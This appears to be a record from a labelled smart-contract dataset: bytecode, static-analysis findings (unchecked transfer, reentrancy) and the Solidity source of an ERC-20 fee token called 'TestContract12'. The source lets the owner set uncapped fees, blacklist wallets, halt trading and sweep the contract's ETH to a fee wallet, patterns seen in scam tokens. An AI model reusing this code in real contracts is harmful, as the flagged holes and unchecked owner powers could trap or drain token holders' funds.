ffffffffffffffffffffffffffffffffffff16610b49610728565b73ffffffffffffffffffffffffffffffffffffffff1614610b9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b96906113ad565b60405180910390fd5b80600a60016101000a81548160ff02191690831515021790555050565b60055481565b60065481565b610bd0610dca565b73ffffffffffffffffffffffffffffffffffffffff16610bee610728565b73ffffffffffffffffffffffffffffffffffffffff1614610c44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3b906113ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610cb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cab906112ed565b60405180910390fd5b610cbd81610dd2565b50565b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000015411610d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d419061134d565b60405180910390fd5b83816002018190555082816003018190555081816004018190555050505050565b600082821115610db0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da79061130d565b60405180910390fd5b60008284610dbe91906114c2565b90508091505092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000808284610ea5919061146c565b905083811015610eea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee1906113cd565b60405180910390fd5b8091505092915050565b600081359050610f0381611732565b92915050565b600081359050610f1881611749565b92915050565b600081519050610f2d81611749565b92915050565b600081359050610f4281611760565b92915050565b600060208284031215610f5e57610f5d61156d565b5b6000610f6c84828501610ef4565b91505092915050565b600060208284031215610f8b57610f8a61156d565b5b6000610f9984828501610f09565b91505092915050565b600060208284031215610fb857610fb761156d565b5b6000610fc684828501610f1e565b91505092915050565b600060208284031215610fe557610fe461156d565b5b6000610ff384828501610f33565b91505092915050565b6000806000606084860312156110155761101461156d565b5b600061102386828701610f33565b935050602061103486828701610f33565b925050604061104586828701610f33565b9150509250925092565b600080600080608085870312156110695761106861156d565b5b600061107787828801610f33565b945050602061108887828801610f33565b935050604061109987828801610f33565b92505060606110aa87828801610f33565b91505092959194509250565b6110bf816114f6565b82525050565b60006110d260038361145b565b91506110dd82611572565b602082019050919050565b60006110f560038361145b565b91506111008261159b565b602082019050919050565b600061111860268361145b565b9150611123826115c4565b604082019050919050565b600061113b60178361145b565b915061114682611613565b602082019050919050565b600061115e60038361145b565b91506111698261163c565b602082019050919050565b600061118160038361145b565b915061118c82611665565b602082019050919050565b60006111a460038361145b565b91506111af8261168e565b602082019050919050565b60006111c760038361145b565b91506111d2826116b7565b602082019050919050565b60006111ea60208361145b565b91506111f5826116e0565b602082019050919050565b600061120d60168361145b565b915061121882611709565b602082019050919050565b61122c81611534565b82525050565b600060208201905061124760008301846110b6565b92915050565b600060608201905061126260008301866110b6565b61126f60208301856110b6565b61127c6040830184611223565b949350505050565b600060408201905061129960008301856110b6565b6112a66020830184611223565b9392505050565b600060208201905081810360008301526112c6816110c5565b9050919050565b600060208201905081810360008301526112e6816110e8565b9050919050565b600060208201905081810360008301526113068161110b565b9050919050565b600060208201905081810360008301526113268161112e565b9050919050565b6000602082019050818103600083015261134681611151565b9050919050565b6000602082019050818103600083015261136681611174565b9050919050565b6000602082019050818103600083015261138681611197565b9050919050565b600060208201905081810360008301526113a6816111ba565b9050919050565b600060208201905081810360008301526113c6816111dd565b9050919050565b600060208201905081810360008301526113e681611200565b9050919050565b60006020820190506114026000830184611223565b92915050565b600060a08201905061141d6000830188611223565b61142a6020830187611223565b6114376040830186611223565b6114446060830185611223565b6114516080830184611223565b9695505050505050565b600082825260208201905092915050565b600061147782611534565b915061148283611534565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114b7576114b661153e565b5b828201905092915050565b60006114cd82611534565b91506114d883611534565b9250828210156114eb576114ea61153e565b5b828203905092915050565b600061150182611514565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600080fd5b7f4530310000000000000000000000000000000000000000000000000000000000600082015250565b7f4530390000000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d617468237375623a20554e444552464c4f57000000000000000000600082015250565b7f4530370000000000000000000000000000000000000000000000000000000000600082015250565b7f4531300000000000000000000000000000000000000000000000000000000000600082015250565b7f4530320000000000000000000000000000000000000000000000000000000000600082015250565b7f4530380000000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f536166654d617468236164643a204f564552464c4f5700000000000000000000600082015250565b61173b816114f6565b811461174657600080fd5b50565b61175281611508565b811461175d57600080fd5b50565b61176981611534565b811461177457600080fd5b5056fea26469706673582212206a562d4bd92670b315e8263a6da622ad33b36aeba88b47638eb04e2555763bad64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,256
0x8e5baeec307fb79ee6ceb097c4a2fc1aa565f7e8
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TestContract12 is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "TestContract12"; string private constant _symbol = "TestContract12"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 3; uint256 private _taxFeeOnBuy = 6; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 6; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xbb3d9CcD0De8d786BF02C2E14D8793Fe935202b9); address payable private _marketingAddress = payable(0x5116A0124F2C36408DFFa244f95610EF350DFE9A); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610529578063dd62ed3e14610549578063ea1644d51461058f578063f2fde38b146105af57600080fd5b8063a2a957bb146104a4578063a9059cbb146104c4578063bfd79284146104e4578063c3c8cd801461051457600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b41146101fe57806398a5c3151461048457600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611933565b6105cf565b005b34801561020a57600080fd5b50604080518082018252600e81526d2a32b9ba21b7b73a3930b1ba189960911b6020820152905161023b91906119f8565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a4d565b61066e565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50670de0b6b3a76400005b60405190815260200161023b565b3480156102dd57600080fd5b506102646102ec366004611a79565b610685565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023b565b34801561032f57600080fd5b50601554610294906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611aba565b6106ee565b34801561036f57600080fd5b506101fc61037e366004611ae7565b610739565b34801561038f57600080fd5b506101fc610781565b3480156103a457600080fd5b506102c36103b3366004611aba565b6107cc565b3480156103c457600080fd5b506101fc6107ee565b3480156103d957600080fd5b506101fc6103e8366004611b02565b610862565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611aba565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610294565b34801561045a57600080fd5b506101fc610469366004611ae7565b610891565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b506101fc61049f366004611b02565b6108d9565b3480156104b057600080fd5b506101fc6104bf366004611b1b565b610908565b3480156104d057600080fd5b506102646104df366004611a4d565b610946565b3480156104f057600080fd5b506102646104ff366004611aba565b60106020526000908152604090205460ff1681565b34801561052057600080fd5b506101fc610953565b34801561053557600080fd5b506101fc610544366004611b4d565b6109a7565b34801561055557600080fd5b506102c3610564366004611bd1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059b57600080fd5b506101fc6105aa366004611b02565b610a48565b3480156105bb57600080fd5b506101fc6105ca366004611aba565b610a77565b6000546001600160a01b031633146106025760405162461bcd60e51b81526004016105f990611c0a565b60405180910390fd5b60005b815181101561066a5760016010600084848151811061062657610626611c3f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066281611c6b565b915050610605565b5050565b600061067b338484610b61565b5060015b92915050565b6000610692848484610c85565b6106e484336106df85604051806060016040528060288152602001611d85602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111c1565b610b61565b5060019392505050565b6000546001600160a01b031633146107185760405162461bcd60e51b81526004016105f990611c0a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107635760405162461bcd60e51b81526004016105f990611c0a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b657506013546001600160a01b0316336001600160a01b0316145b6107bf57600080fd5b476107c9816111fb565b50565b6001600160a01b03811660009081526002602052604081205461067f90611235565b6000546001600160a01b031633146108185760405162461bcd60e51b81526004016105f990611c0a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088c5760405162461bcd60e51b81526004016105f990611c0a565b601655565b6000546001600160a01b031633146108bb5760405162461bcd60e51b81526004016105f990611c0a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109035760405162461bcd60e51b81526004016105f990611c0a565b601855565b6000546001600160a01b031633146109325760405162461bcd60e51b81526004016105f990611c0a565b600893909355600a91909155600955600b55565b600061067b338484610c85565b6012546001600160a01b0316336001600160a01b0316148061098857506013546001600160a01b0316336001600160a01b0316145b61099157600080fd5b600061099c306107cc565b90506107c9816112b9565b6000546001600160a01b031633146109d15760405162461bcd60e51b81526004016105f990611c0a565b60005b82811015610a425781600560008686858181106109f3576109f3611c3f565b9050602002016020810190610a089190611aba565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3a81611c6b565b9150506109d4565b50505050565b6000546001600160a01b03163314610a725760405162461bcd60e51b81526004016105f990611c0a565b601755565b6000546001600160a01b03163314610aa15760405162461bcd60e51b81526004016105f990611c0a565b6001600160a01b038116610b065760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bc35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f9565b6001600160a01b038216610c245760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f9565b6001600160a01b038216610d4b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f9565b60008111610dad5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f9565b6000546001600160a01b03848116911614801590610dd957506000546001600160a01b03838116911614155b156110ba57601554600160a01b900460ff16610e72576000546001600160a01b03848116911614610e725760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f9565b601654811115610ec45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f9565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0657506001600160a01b03821660009081526010602052604090205460ff16155b610f5e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f9565b6015546001600160a01b03838116911614610fe35760175481610f80846107cc565b610f8a9190611c86565b10610fe35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f9565b6000610fee306107cc565b6018546016549192508210159082106110075760165491505b80801561101e5750601554600160a81b900460ff16155b801561103857506015546001600160a01b03868116911614155b801561104d5750601554600160b01b900460ff165b801561107257506001600160a01b03851660009081526005602052604090205460ff16155b801561109757506001600160a01b03841660009081526005602052604090205460ff16155b156110b7576110a5826112b9565b4780156110b5576110b5476111fb565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110fc57506001600160a01b03831660009081526005602052604090205460ff165b8061112e57506015546001600160a01b0385811691161480159061112e57506015546001600160a01b03848116911614155b1561113b575060006111b5565b6015546001600160a01b03858116911614801561116657506014546001600160a01b03848116911614155b1561117857600854600c55600954600d555b6015546001600160a01b0384811691161480156111a357506014546001600160a01b03858116911614155b156111b557600a54600c55600b54600d555b610a4284848484611442565b600081848411156111e55760405162461bcd60e51b81526004016105f991906119f8565b5060006111f28486611c9e565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561066a573d6000803e3d6000fd5b600060065482111561129c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f9565b60006112a6611470565b90506112b28382611493565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061130157611301611c3f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135557600080fd5b505afa158015611369573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138d9190611cb5565b816001815181106113a0576113a0611c3f565b6001600160a01b0392831660209182029290920101526014546113c69130911684610b61565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ff908590600090869030904290600401611cd2565b600060405180830381600087803b15801561141957600080fd5b505af115801561142d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061144f5761144f6114d5565b61145a848484611503565b80610a4257610a42600e54600c55600f54600d55565b600080600061147d6115fa565b909250905061148c8282611493565b9250505090565b60006112b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163a565b600c541580156114e55750600d54155b156114ec57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061151587611668565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154790876116c5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115769086611707565b6001600160a01b03891660009081526002602052604090205561159881611766565b6115a284836117b0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e791815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006116158282611493565b82101561163157505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361165b5760405162461bcd60e51b81526004016105f991906119f8565b5060006111f28486611d43565b60008060008060008060008060006116858a600c54600d546117d4565b9250925092506000611695611470565b905060008060006116a88e878787611829565b919e509c509a509598509396509194505050505091939550919395565b60006112b283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111c1565b6000806117148385611c86565b9050838110156112b25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f9565b6000611770611470565b9050600061177e8383611879565b3060009081526002602052604090205490915061179b9082611707565b30600090815260026020526040902055505050565b6006546117bd90836116c5565b6006556007546117cd9082611707565b6007555050565b60008080806117ee60646117e88989611879565b90611493565b9050600061180160646117e88a89611879565b90506000611819826118138b866116c5565b906116c5565b9992985090965090945050505050565b60008080806118388886611879565b905060006118468887611879565b905060006118548888611879565b905060006118668261181386866116c5565b939b939a50919850919650505050505050565b6000826118885750600061067f565b60006118948385611d65565b9050826118a18583611d43565b146112b25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f9565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c957600080fd5b803561192e8161190e565b919050565b6000602080838503121561194657600080fd5b823567ffffffffffffffff8082111561195e57600080fd5b818501915085601f83011261197257600080fd5b813581811115611984576119846118f8565b8060051b604051601f19603f830116810181811085821117156119a9576119a96118f8565b6040529182528482019250838101850191888311156119c757600080fd5b938501935b828510156119ec576119dd85611923565b845293850193928501926119cc565b98975050505050505050565b600060208083528351808285015260005b81811015611a2557858101830151858201604001528201611a09565b81811115611a37576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a6057600080fd5b8235611a6b8161190e565b946020939093013593505050565b600080600060608486031215611a8e57600080fd5b8335611a998161190e565b92506020840135611aa98161190e565b929592945050506040919091013590565b600060208284031215611acc57600080fd5b81356112b28161190e565b8035801515811461192e57600080fd5b600060208284031215611af957600080fd5b6112b282611ad7565b600060208284031215611b1457600080fd5b5035919050565b60008060008060808587031215611b3157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b6257600080fd5b833567ffffffffffffffff80821115611b7a57600080fd5b818601915086601f830112611b8e57600080fd5b813581811115611b9d57600080fd5b8760208260051b8501011115611bb257600080fd5b602092830195509350611bc89186019050611ad7565b90509250925092565b60008060408385031215611be457600080fd5b8235611bef8161190e565b91506020830135611bff8161190e565b809150509250929